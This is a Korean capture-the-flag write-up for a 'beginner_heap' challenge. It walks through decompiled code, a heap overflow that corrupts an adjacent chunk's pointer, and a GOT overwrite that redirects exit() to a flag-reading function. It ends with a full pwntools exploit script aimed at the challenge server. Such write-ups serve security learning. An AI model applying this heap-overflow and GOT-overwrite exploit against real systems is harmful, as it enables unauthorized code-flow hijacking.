beginner_heap.bin 파일을 받을 수 있다.
.bin 이라고 너무 당황하지말고, file beginner_heap.bin 해보면
ELF 파일인 걸 알 수 있다.
void FUN_004008a8(void)
{
undefined4 *puVar1;
void *pvVar2;
undefined4 *puVar3;
long in_FS_OFFSET;
char local_1018 [4104];
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
puVar1 = (undefined4 *)malloc(0x10);
*puVar1 = 1;
pvVar2 = malloc(8);
*(void **)(puVar1 + 2) = pvVar2;
puVar3 = (undefined4 *)malloc(0x10);
*puVar3 = 2;
pvVar2 = malloc(8);
*(void **)(puVar3 + 2) = pvVar2;
fgets(local_1018,0x1000,stdin);
strcpy(*(char **)(puVar1 + 2),local_1018);
fgets(local_1018,0x1000,stdin);
strcpy(*(char **)(puVar3 + 2),local_1018);
/* WARNING: Subroutine does not return */
exit(0);
}
puVar = malloc(0x10)
*(puVar+0x8) = malloc(8)
이런식으로, 변수에 16 할당한뒤,
할당한 바이트의 두번째 8바이트에 8을 할당한다.
puVar=malloc(0x10) 에서 *puVar 의 heap 상태이다.
첫번째값은 각각 1, 2 가 들어가고,
두번째바이트에는 각각 8 씩 할당한 heap 의 주소가 들어가있다.
첫번째 heap(8) 과 *puVar2 의 주소가 가까워서
덮어쓰기가 가능할것같다.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RELRO 가 Partial 로 설정되어있으니, got overwrite 가 가능하다.
fgets(local_1018,0x1000,stdin);
strcpy(*(char **)(puVar1 + 2),local_1018);
fgets(local_1018,0x1000,stdin);
strcpy(*(char **)(puVar3 + 2),local_1018);
할당한 후, 0x1000 만큼 입력받고, *(*puVar1+8) 에 strcpy 로 복사한다.
puVar1+8 과, *puVar3+8 의 거리가 가까워서
puVar1+8 에 overflow 를 일으켜 *puVar3+8 값을 조작해
두번째 입력받을때 조작된 *(*puVar3+8) 에 원하는 값을 쓸수있다.
void FUN_00400826(void)
{
long in_FS_OFFSET;
char *local_28;
size_t local_20;
FILE *local_18;
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
local_28 = (char *)0x0;
local_20 = 0;
local_18 = fopen("flag","r");
getline(&local_28,&local_20,local_18);
puts(local_28);
fflush(stdout);
free(local_28);
/* WARNING: Subroutine does not return */
_exit(1);
}
flag 함수가 주어져있으니, exit_got 에 flag 함수의 주소를 넣으면 될것같다.

*(*puVar1+8) = 0x602280
*puVar3+8 = 0x6622a0+8
*puVar1+8 ~ *puVar3+8 까지 거리는 40,
*puVar3+8 에 exit_GOT 의 주소를 쓰고,
*(*puVar3+8) = (exit_got) 에 입력을 받을때
flag 의 주소를 쓰면 exit() 함수가 호출될때
exit 대신 flag 함수가 호출되겠다.
from pwn import *
flag=0x400826
r=remote("ctf.j0n9hyun.xyz",3016)
b=ELF("./beginner_heap.bin")
pay1='x'*40
pay1+=p64(b.got['exit'])
pay2=p64(flag)
r.sendline(pay1)
r.sendline(pay2)
r.interactive()